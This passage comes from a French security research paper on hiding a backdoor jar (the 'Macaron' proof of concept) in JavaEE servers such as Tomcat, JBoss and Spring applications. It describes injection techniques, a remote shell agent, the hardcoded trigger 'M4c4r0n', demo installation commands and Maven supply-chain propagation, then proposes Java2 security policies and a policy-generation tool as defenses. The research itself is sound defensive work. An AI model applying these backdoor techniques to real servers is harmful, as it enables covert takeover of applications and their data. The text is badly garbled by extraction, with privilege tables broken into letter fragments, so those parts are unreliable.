Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
